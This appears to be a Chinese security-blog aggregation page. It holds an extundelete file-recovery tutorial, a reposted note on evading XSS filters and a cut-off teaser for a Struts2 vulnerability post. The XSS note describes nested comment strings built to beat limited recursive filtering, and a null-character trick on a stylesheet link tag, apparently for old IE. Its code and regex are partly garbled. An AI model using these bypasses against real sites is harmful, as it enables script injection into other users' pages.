install会将程序安装在/usr/local/bin/下恢复文件操作执行extundelete命令的当前目录必须是可写的。1、查看要恢复文件的分区的文件系统df  -Th2、对要恢复文件的分区解除挂载umount /mnt3、查看可以恢复的数据指定误删文件的分区进行查找最后一列标记为Deleted的文件,即为删除了的文件extundelete /dev/vdb1 --inode 2 (根分区的inode值是2)4、恢复单个目录指定要恢复的目录名如果是空目录,则不会恢复extundelete /dev/vdb1 --restore-directory  ferris当执行恢复文件的命令后,会在执行命令的当前的目录下生成RECOVERED_FILES目录,恢复的文件都会放入此目录中。如未生成目录,即为失败。5、恢复单个文件指定要恢复的文件名如果几k大小的小文件,有很大几率恢复失败extundelete /dev/vdb1 --restore-file openssh-7.7p1.tar.gz6、恢复全部删除的文件无需指定文件名或目录名,恢复全部删除的数据extundelete /dev/vdb1 --restore-all「天億网络安全」 知识星球 一个网络安全学习的星球!星球主要分享、整理、原创编辑等网络安全相关学习资料,一个真实有料的网络安全学习平台,大家共同学习、共同进步!知识星球定价:199元/年,(服务时间为一年,自加入日期顺延一年)。如何加入:扫描下方二维码,扫码付费即可加入。加入知识星球的同学,请加我微信,拉您进VIP交流群!朋友都在看▶️公安部 马力 | 网络安全等级保护2.0主要标准介绍▶️公安部 任卫红| 等保2.0标准框架及基本要求标准对比介绍▶️等保2.0-新形势下如何建设等级保护▶️干货 | 等保2.0新标准介绍▶️优化版 | 网络安全常用标准汇总(可打包下载)▶️全国等保测评师俱乐部微信群天億网络安全【欢迎收藏分享到朋友圈,让更多朋友了解网络安全,分享也是一种美德!】↑↑↑长按图片识别二维码关註↑↑↑欢迎扫描关注【天億网络安全】公众号,及时了解更多网络安全知识 本文始发于微信公众号(天億网络安全):超全!Linux 误删文件恢复命令及方法
阅读全文
最近遇到的与跨站相关但关系不大的两个小问题 lcx

最近遇到的与跨站相关但关系不大的两个小问题

其一:如何保留/**/注释符号? 部分过滤器会对style中的注释符号进行删除,有些只删一次,那注定会有漏洞;用递归删除注释的那基本没问题。 但是部分过滤器考虑到可能出现重复递归的异常或效率上的问题,只递归有限的次数。 之前一直想构造测试递归次数的的注释符号串,最近才想到可以绕过有限次数递归过滤的构造方式。 一个正确的删除注释的正则表达式如下: /*.*?*/ 删除时: 需要删除一次:/**/ 需要删除两次://**/**/ 之前一直卡在这里,一直构造不出来需要删除三次的情况。 最近发现只要将一对注释符号插入自身第一个"/"后面即可 需要删除三次:///**/**//**/**/ 需要删除四次:////**/**//**/**///**/**//**/**/ 并且可以重复这个动作无限次,重复的次数等同于需要递归过滤的次数,有点抽象,看代码。 string comment = "/**/"; for (int i = 0; i 我利用这段代码生成了4M的数据发出去,结果还是被过滤,看来是正确的递归过滤。不过这个东西挺有意思。 第二:关于与link标签的问题 我们知道一段引用css的link标签的写法 其中rel必须等于stylesheet才能作为样式表引用,部分过滤器只判断rel是否等于stylesheet来进行过滤,因此我觉得其中有机可乘。 尝试添加各种字符,试到空格, 例如rel="stylesheet ": 在没有的情况下回去下载href链接中的文件但没有执行(十分诡异的设定,不能执行为啥要去下载?) 在有的情况下可以正常显示样式,但expression无法执行 另外IE8的iframe子页面不会继承父页面的,IE9会继承 最后试到在rel="stylesheet"在末尾加了一个空字符,就可以执行跨站 不过仍然对实际目标跨站没啥帮助,因为被编码成了 失败的跨站过程,大家随便看看 摘自:http://zone.wooyun.org/content/2041 文章来源于lcx.cc:最近遇到的与跨站相关但关系不大的两个小问题相关推荐: struts2 最新S2-016-S2-017漏洞通杀struts2所有版本struts2 最新S2-016-S2-017漏洞通杀struts2所有版本 园长 (你在身边就是缘,缘分写在数据库里面。) | 2013-07-17 12:29 Struts2这个不争气的家伙。已经无话可说了。 POC来自官方: http://struts.…
阅读全文